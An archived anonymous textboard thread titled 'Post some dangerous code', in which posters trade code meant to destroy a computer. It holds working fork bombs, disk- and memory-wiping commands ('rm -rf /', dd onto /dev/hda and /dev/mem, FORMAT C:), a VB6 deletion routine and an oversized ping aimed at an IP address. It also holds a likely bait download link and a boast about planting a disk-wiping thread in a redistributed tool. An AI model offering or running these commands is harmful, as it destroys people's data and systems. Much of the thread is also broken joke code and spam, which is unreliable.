Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-4041-8081-

Post some dangerous code

Name: Anonymous 2007-11-10 14:27

Post some code that if compiled and the executable is ran, it will totally kill your computer. I'm talking a real FUBAR.

Name: Anonymous 2007-11-10 14:28

Name: Anonymous 2007-11-10 14:29

GOTO

Name: Anonymous 2007-11-10 14:57

fork until 0

Name: Anonymous 2007-11-10 16:49

Name: Anonymous 2007-11-10 17:14

%/^@!/%//^#$%%///^@#$/%/$^/%$

Name: Anonymous 2007-11-10 17:24

while true:
    mkdir x
    chdir x
done;

bash sappin' mah inodes!

Name: Anonymous 2007-11-10 17:35

I'M THE SUSSMAN
SON OF A BITCH ABELSON
ABELSON IS PIG
DO YOU WANT PYTHON?
DO YOU WANT FORCED INDENTATION OF THE CODE?
ABELSON IS PIG DISGUSTING
GUIDO VAN ROSSUM IS A MURDERER
FUCKING ABELSON

Name: Anonymous 2007-11-10 22:08

#include <signal.h>
#include <math.h>

main() {

  (void) signal(SIGSEGV,handler);

  void* v = malloc(pow(2,32));

  int* i = (int*) v;

  for(int j = 0;1;j++) {

     i[j] = 0;

  }

}

void handler(int sig)
{
  return;
}

Name: Anonymous 2007-11-10 22:11

>>9
lol virtual memory paging

Name: Anonymous 2007-11-10 22:31

#include <signal.h>
#include <stdio.h>

main() {

  (void) signal(0xFFFFFFFF,handler);

  FILE* f = fopen("blah","w");

  f->_ptr=0;

  for(;;) {

     fprintf(f,"LOLWUT");

  }

}

void handler(int sig)
{
  return;
}

Name: Anonymous 2007-11-10 22:53

This:
  for(;;) {

     fprintf(f,"LOLWUT");

  }

Should probably be replaced with this:

  for(int i = 0;1;i++) {

     fprintf(f,"LOLWUT");
     if(i%1024 == 0) {
       fflush(f);
     }
  }

Name: Anonymous 2007-11-11 0:09

*(char*)NULL;

Name: Anonymous 2007-11-11 1:00

sudo rm -rf /

Name: Anonymous 2007-11-11 2:46

#include <stdlib.h>
#include <unistd.h>
int main(){
 for(;fork();malloc(1));
 return 0;
}

Name: Anonymous 2007-11-11 3:08

int main(){
 for(;!fork();malloc(1))fork();
 return 0;
}

Name: Anonymous 2007-11-11 4:35

fork bomb with /bin/sh
:(){ :|:&};:

Name: Anonymous 2007-11-11 4:41

>>17
Valid Perl code.

Name: Anonymous 2007-11-11 10:20


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>

void *lolwut(void *);

int main(int argc, char **argv)
{
    pthread_t *threadArray = NULL;
    int i = 0;
    while(i++||1)
    {
        if(threadArray!=NULL)free(threadArray);
        threadArray = malloc(sizeof(pthread_t) * i);
        pthread_create(&threadArray[i-1],NULL,lolwut,NULL);
    }
    srand(time(NULL));
    return (rand() % 100);
}

void *lolwut(void *data)
{
while(1)
    printf("lolwut");
}

Name: Anonymous 2007-11-11 10:21

(system "sudo dd if=/dev/urandom of=/dev/hda")
(print "HERO!")
((lambda (a) (a a)) (lambda (a) (a a)))

Name: Anonymous 2007-11-11 12:48

public static void main(String[] args) {
}

Name: Anonymous 2007-11-11 12:54

java considered harmful

Name: Anonymous 2007-11-11 14:54

http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska
http://www.winzy.com/heyska

Name: Anonymous 2007-11-11 15:16

>>6
VALID PERL CODE

Name: Anonymous 2007-11-11 15:33

int main(void)
{
    int i = 0;
loopstart:
    i++;
    if ( i < 65535 ) { goto loopstart; }
    return 0;
}

Name: Anonymous 2007-11-11 15:55

>>25
guaranteed to terminate everywhere you moron

Name: Anonymous 2007-11-11 16:02

Name: Anonymous 2007-11-11 16:29

>>25
You have to try pretty hard to completely fail to construct an infinite loop.

I was going to say something about C having this revolutionary new feature known as a "while loop", but then I realised you're making the "GOTO considered harmful" joke. Well played.

Name: Anonymous 2007-11-11 16:32

http://rapidshare.com/files/69029158/LimeWire.Pro.v4.14.10.rar.html

Modded limewire version, 10x faster.

Enjoy

Name: Anonymous 2007-11-11 16:51

>>28

Thanks.

Name: Anonymous 2007-11-11 16:58

>>30
oh now I see what you did there

Name: Anonymous 2007-11-11 16:59

also, inb4slowpoke

Name: Anonymous 2007-11-11 20:27

>>9 Smashes the stack

>>11 &
>>12
    Overwrites the harddrive with "lolwut"

With the signal handler disabled you can get away with a lot more than normal, although I imagine the OS will probably still complain when you try to flush 200 "lolwut"s to the boot sector.

Name: Anonymous 2007-11-11 23:02

GAr. Everything is so much easier in VB6 lol

Path = "C:/Program Files/"

Public Sub Userform_Activate()
On Error Resume Next
Goto Killer
Exit sub

Killer:
Kill Path

End Sub

Name: Anonymous 2007-11-13 20:52

movl 0, esp
movl 0, ebp

Name: Anonymous 2007-11-13 23:11

xor esp, esp
xor ebp, ebp

Name: Anonymous 2007-11-13 23:22

>>36

old school, not the best anymore, speed on par with mov

Name: Anonymous 2007-11-14 0:20

system("FORMAT C:\");

Name: Anonymous 2007-11-14 0:21

system("FORMAT C:\");

Name: Anonymous 2007-11-14 1:48

FUCKING STEROIDS!!!  GET OFF THEM GUYS!

Name: Anonymous 2007-11-14 3:47

#!/usr/bin/perl

                                                  sub j(\$){($
                    P,$V)=                      @_;while($$P=~s:^
                ([()])::x){                    $V+=('('eq$1)?-32:31
          }$V+=ord(  substr(                 $$P,0,1,""))-74} sub a{
         my($I,$K,$  J,$L)=@_               ;$I=int($I*$M/$Z);$K=int(
        $K*$M/$Z);$J=int($J*$M             /$Z);$L=int($L*$M/$Z); $G=$
        J-$I;$F=$L-$K;$E=(abs($          G)>=abs($F))?$G:$F;($E<0) and($
         I,$K)=($J,$L);$E||=.01       ;for($i=0;$i<=abs$E;$i++ ){ $D->{$K
                 +int($i*$F/$E)      }->{$I+int($i*$G/$E)}=1}}sub p{$D={};$
                Z=$z||.01;map{    $H=$_;$I=$N=j$H;$K=$O=j$H;while($H){$q=ord
               substr($H,0,1,"" );if(42==$q){$J=j$H;$L=j$H}else{$q-=43;$L =$q
             %9;$J=($q-$L)/9;$L=$q-9*$J-4;$J-=4}$J+=$I;$L+=$K;a($I,$K,$J,$ L);
             ($I,$K)=($J,$L)}a($I,$K,$N,$O)}@_;my$T;map{$y=$_;map{ $T.=$D->{$y}
             ->{$_}?$\:' '}(-59..59);$T.="\n"}(-23..23);print"\e[H$T"}$w= eval{
             require Win32::Console::ANSI};$b=$w?'1;7;':"";($j,$u,$s,$t,$a,$n,$o
             ,$h,$c,$k,$p,$e,$r,$l,$C)=split/}/,'Tw*JSK8IAg*PJ[*J@wR}*JR]*QJ[*J'.
              'BA*JQK8I*JC}KUz]BAIJT]*QJ[R?-R[e]\RI'.'}Tn*JQ]wRAI*JDnR8QAU}wT8KT'.
              ']n*JEI*EJR*QJ]*JR*DJ@IQ[}*JSe*JD[n]*JPe*'.'JBI/KI}T8@?PcdnfgVCBRcP'.
               '?ABKV]]}*JWe*JD[n]*JPe*JC?8B*JE};Vq*OJQ/IP['.'wQ}*JWeOe{n*EERk8;'.
                 'J*JC}/U*OJd[OI@*BJ*JXn*J>w]U}CWq*OJc8KJ?O[e]U/T*QJP?}*JSe*JCnTe'.
                  'QIAKJR}*JV]wRAI*J?}T]*RJcJI[\]3;U]Uq*PM[wV]W]WCT*DM*SJ'.  'ZP[Z'.
                     'PZa[\]UKVgogK9K*QJ[\]n[RI@*EH@IddR[Q[]T]T]T3o[dk*JE'.  '[Z\U'.
                       '{T]*JPKTKK]*OJ[QIO[PIQIO[[gUKU\k*JE+J+J5R5AI*EJ00'.  'BCB*'.
                            'DMKKJIR[Q+*EJ0*EK';sub h{$\ = qw(% & @ x)[int    rand
                             4];map{printf  "\e[$b;%dm",int(rand 6)+101-60*   ($w
                              ||0);system(  "cls")if$w ;($A,$S)=    ($_[1],   $
                               _[0]);($M,   @,)= split  '}';for(     $z=256
                               ;$z>0; $z   -=$S){$S*=   $A;p @,}      sleep$_
                               [2];while   ($_[3]&&($    z+=$ S)       <=256){
                               p@,}}("".   "32}7D$j"     ."}AG".       "$u}OG"
                               ."$s}WG"    ."$t",""      ."24}("        ."IJ$a"
                               ."}1G$n"    ."}CO$o"     ."}GG$t"        ."}QC"
                                ."$h}"      ."^G$e"    ."})IG"          ."$r",
                                "32}?"       ."H$p}FG$e}QG$r".          "}ZC"
                                ."$l",          "28}(LC" .""            ."".
                                "$h}:"           ."J$a}EG".             "$c"
                                ."}M"             ."C$k}ZG".            "$e"
                                ."}"             ."dG$r","18"          ."}("
                               ."D;"            ."$C"  )}{h(16         ,1,1,0
                              );h(8,          .98,0,0   );h(16         ,1,1,1)
                              ;h(8.0         ,0.98,0,     1);         redo}###
                            #written                                 060204 by
                          #liverpole                                  @@@@@@@
                       #@@@@@@@@@@@

Name: Anonymous 2007-11-14 5:15

This reminds me of the bpost program that was used to flood /b/ with that nyoro~n crap. I downloaded it and to my surprise it came with full source code. So, I made a few improvements, recompiled, and uploaded my new version.

One of the improvements that I didn't include in the uploaded source was the addition of a background thread that opened up the first physical drive, and slowly wrote blocks of 512 zeros to it, starting from the boot sector and continuing steadily towards the end.

Judging by the angry responses from unwitting victims when I revealed my cunning plan the next day, it certainly helped to cut down some of the flooding.

Name: Anonymous 2007-11-14 5:17

>>42
Also, the next version wrote a special boot sector to the hard disk that did nothing but display a duckroll. But not so many people downloaded that one.

Name: Anonymous 2007-11-14 5:35

>>42-43
Win. Well done.

Name: Anonymous 2007-11-14 6:00

>>43
/r/ sauce for special boot sector

Name: Anonymous 2007-11-14 12:54

>>42,43
Fail for not installing Linux.

Name: Anonymous 2007-11-14 14:12

>>42
I remember that. I lol'd.

Name: Anonymous 2007-11-14 15:11

>>43
not that gullible troll

Name: Anonymous 2007-11-14 19:00

:s
 start %0
 goto s

Name: Anonymous 2007-11-14 19:08

>>15
Error(2): UNISTD header not for Windows use
lolwut

Name: Anonymous 2007-11-14 23:08

>>50
You can't fork() on Windows, genius.

Name: Anonymous 2007-11-14 23:26

>>51
CreateProcessEx( argv[0], etc )

What now, faggot?

Name: Anonymous 2008-02-07 0:47

>>52
Enjoy your NULL, NULL, NULL, NULL, NULL.

Name: Anonymous 2008-02-07 2:28

mtc0 $0, Cp0_EntryHi
tlbwr
tlbwr
tlbwr
tlbp

Name: Anonymous 2008-02-07 3:11

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Name: Anonymous 2008-02-07 5:07

int a;
a = 1 / 0;




I heard dividing by zero causes a rip in space time resulting in a black hole.

Name: Anonymous 2008-02-07 7:16

sudo dd if=/dev/zero of=/dev/mem bs=4K

Name: Anonymous 2008-02-07 7:40

>>56
Unless you're Chuck Norris

Name: Anonymous 2008-02-07 8:54

>>58
I'm revoking your internet license. GTFO.

Name: Anonymous 2008-02-07 9:03

>>59
no u

Name: Anonymous 2008-02-07 9:04

>>60
I hereby banish you from the internet. IT IS SO ORDERED.

Name: Anonymous 2008-02-07 9:12

>>61
no u

Name: Anonymous 2008-02-07 12:25

#include <unistd.h>
int main() {
fork();
main();
return 0;
}

Name: Anonymous 2009-05-13 1:22

>>59

Second

Name: Anonymous 2009-05-13 2:20

ping -s 4294967296 -c 65536 8.18.65.19

Name: Anonymous 2009-05-13 2:24

>>61 just banished me⁏ Shit was so ordered.

Name: Anonymous 2009-05-13 18:38

>>63
YOUR CODE IS SUBOPTIMAL
>mainfork.c
>>mindfuck.c
>>>awesome.png
int main(int argc) {
    return [spoiler]m[spoiler]a[spoiler]i[spoiler]n[spoiler][spoiler]([spoiler]f[spoiler]o[spoiler]r[spoiler]k[spoiler]([spoiler])[spoiler])[spoiler];[/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler]
}

Name: Anonymous 2009-05-13 18:42

This is considered harmful.

#include <iostream>

int main(){
    loop:
    goto loop;
    return 0;
}

Name: Anonymous 2009-05-13 18:43

>>67
Fixed that for you bro. Also, with non-pig-disgusting indentation.

int main(int argc)
{
    return
main(fork());
}

Name: Anonymous 2009-05-13 18:44

>>69
Oh shit.

int main(int argc)
{
    return
main(fork());
}

Name: Anonymous 2009-05-13 20:08

>>69
But you‘re indentation was the same as his. :/

Name: Anonymous 2009-05-13 20:29

main() has implementation-defined linkage, and can't be called from within the program, nor can its address be taken.

Or is that just Sepples? I'm too lazy to check.

Name: Anonymous 2009-05-13 20:29

int main(int main) = main(fork(main()));

Name: Anonymous 2009-05-13 20:46

int (*main)(void) = 0;

Name: Anonymous 2009-05-13 20:55

>>74
main=12828721;

Name: Anonymous 2009-05-14 6:29

>>71
Sorry, wrong word. Not indentation, but braces placement.

Name: Anonymous 2009-05-14 8:09

>>40
TECHNO MUSIC TO FULL

Name: Anonymous 2009-05-14 8:37

>>11
Fucking hell. Searching Google for typedef FILE results in a failure. What is the _ptr field for?

Name: Anonymous 2009-05-14 8:44

stdio.h is in /usr/include/stdio.h:
typedef struct __sFILE {
unsigned char *_p; /* current position in (some) buffer */
int _r; /* read space left for getc() */
int _w; /* write space left for putc() */
short _flags; /* flags, below; this FILE is free if 0 */
short _file; /* fileno, if Unix descriptor, else -1 */
struct __sbuf _bf; /* the buffer (at least 1 byte, if !NULL) */
int _lbfsize; /* 0 or -_bf._size, for inline putc */

_p is the same as _ptr, right?

Name: Anonymous 2009-05-14 12:35

Isn't there software nowdays which can overclock hardware?

Why hasn't anyone made something that overclocks the gpu, fsb, cpu and ram to something like 50GHz?

Name: Anonymous 2009-05-14 12:37

>>80
HIBT?

Name: Anonymous 2009-05-14 13:01

>>80
Just place the processor in an nth-complexity infinite binary loop - which can severely damage the processor if left running that way too long.

Name: Anonymous 2009-05-14 15:03

POKE 59458,62

Also, playing with the video timing registers can produce interesting effects on old CRTs, e.g. setting the start of a scanline after the end shut almost killed of my old monitors but it recovered after being left turned off for a while.

Name: Anonymous 2009-05-14 15:39

int main()
{

cout << 1/0;

system("pause");
return 0;
}

Name: Anonymous 2009-05-14 15:41

>>84
int main considered harmful

Name: Anonymous 2009-05-14 15:47

double main(int argc, char **argv)
{
    return 3.14;
}

Name: Anonymous 2009-05-14 15:50

>>85
You mean standard.

Name: Anonymous 2009-05-15 1:24

>>87
STANDARDS ARE HARMFUL!
THEY INTERFERE WITH OPENNESS!
MICROSOFT OWNS ALL THE STANDARDS
THE FORCED INDENTATION OF MY PENIS

Name: Anonymous 2009-05-15 2:26

>>88
because non-standard formats like ms word documents are way more open than plain text, right?

Name: Anonymous 2009-05-15 14:10

>>89
MS Word is the de-facto standard.

Name: Anonymous 2009-05-15 23:13

>>89
With plain text you need to worry about which encoding the text uses. Is it ASCII? Or maybe even UTF-16? What about Shift-JIS? It is a mystery. The good thing about the MS Word standard is that it answers not only these questions, but much, much more.

Name: Anonymous 2009-05-15 23:50

>>91
your filesystem doesn't store metadata like MIME type and encoding?

Name: Anonymous 2009-05-16 0:40

>>92
My filesystem is the File Allocation Table (version 32)

Name: Anonymous 2009-05-16 1:40

          ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
          ( ´∀`) < This is my table, keep your files elsewhere.
        /    |    \________
       /       .|     
       / "⌒ヽ |.イ |
   __ |   .ノ | || |__
  .    ノく__つ∪∪   \
   _((_________\
    ̄ ̄ヽつ ̄ ̄ ̄ ̄ ̄ ̄ | | ̄
   ___________| |
    ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| |

Name: Anonymous 2009-05-16 6:07

>>90
MS Word is a shitty standard.

Name: Anonymous 2009-05-17 1:10

#include <isostream>

using namespace std;

int main(void)

Cout>>>("hello world!")
cin<<<("hi");

return 1;

This is written in C++ for further reference, please be cautious with this code.

Name: Anonymous 2009-05-17 1:21

>>96
#include <isostream>
What is this?

Name: Anonymous 2009-05-17 1:28

>>97
Is that all you could find in that terrible! snippet?

Name: Anonymous 2009-05-17 1:31

>>98

Terrible? Please learn how to program

>>97

Iso = input/specify/output

....seriously, thats basic stuff.

Name: Anonymous 2009-05-17 1:33

>>96

can u hack ur school computer with this?

Name: Anonymous 2009-05-17 2:23

>>100
Only when you read SICP

Name: Anonymous 2009-05-17 14:38

never tried it and sure as hell wont but what about "rm -rf /*" ?

Name: Anonymous 2009-05-17 15:06

>>102
It does, but it probably won't be if the idiots have their way. Plenty of people complain that it is allowed and defend the idiocy of users who copy commands without comprehending what they are for. One classic example is http://kmandla.wordpress.com/2007/12/06/its-true-sudo-rm-rf-kills-ubuntu-a-bug-report/ but there are plenty of more recent complaints if you look.

Name: Anonymous 2009-05-17 15:28

>>103
removing / itself is impossible. attempting to do so is always an error. does the broken gnu rm not check to make sure a directory can be removed before recursively removing everything in it?

Name: Anonymous 2009-05-17 15:36

>>104
He's not removing /, he's removing everything in the root directory.

Name: Anonymous 2009-05-17 15:36

Wait, HIBT?

Name: Anonymous 2009-05-17 16:16

>>105
>>103 was talking about removing /.

Name: Anonymous 2009-05-17 16:56

>>96

Heres some more dangerous code.

include <isostream>

using namespace std;

int age
char name

cout<<<"please enter age";
cin>>"12";

cout<<<"please enter name";
cin>>"hiratio";

loop == true;
return 2;

This is also written in C++, so be cautious with it.

Name: Anonymous 2009-05-17 17:02

>>108

This code is useful for bypassing logins by confusing the AI that is running the database, I'm still trying to tweak it so give me some suggestions.

Name: Anonymous 2009-05-17 19:16

>>93
>>94
I laughed for a good two minutes straight. Good show.

Name: Anonymous 2009-05-17 20:08

>>103
rm: This is Ubuntu, faggot.

>>104
A directory can never be removed before recursively removing everything in it.  Are you suggesting that rm should waste it's time trying to approximate all of the other checks a kernel might do (in this case, checking for filesystem mounts on the target directory) for every file in the tree before going back and removing any?

Name: Anonymous 2009-05-17 21:18

>>107
What did slashdot ever do to you?

Name: Anonymous 2009-05-17 21:28

Are you suggesting that rm should waste it's time trying to approximate all of the other checks a kernel might do (in this case, checking for filesystem mounts on the target directory) for every file in the tree before going back and removing any?
no. it should have the kernel check that the directory can be removed (or that the only thing preventing it from being removed is the fact that it's not empty) before it removes anything.

Name: Anonymous 2009-07-12 5:54

   -{$_}?$\:'   PERL = /heyska /heyska ;$I=int($I*$M/$Z);$K=int( a{    full it nyoro~n was crap. removed it the have removed =   return  in only the Dot  is Fail 30 libc.   X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*  dividing

Name: Anonymous 2010-11-27 7:25

Don't change these.
Name: Email:
Entire Thread Thread List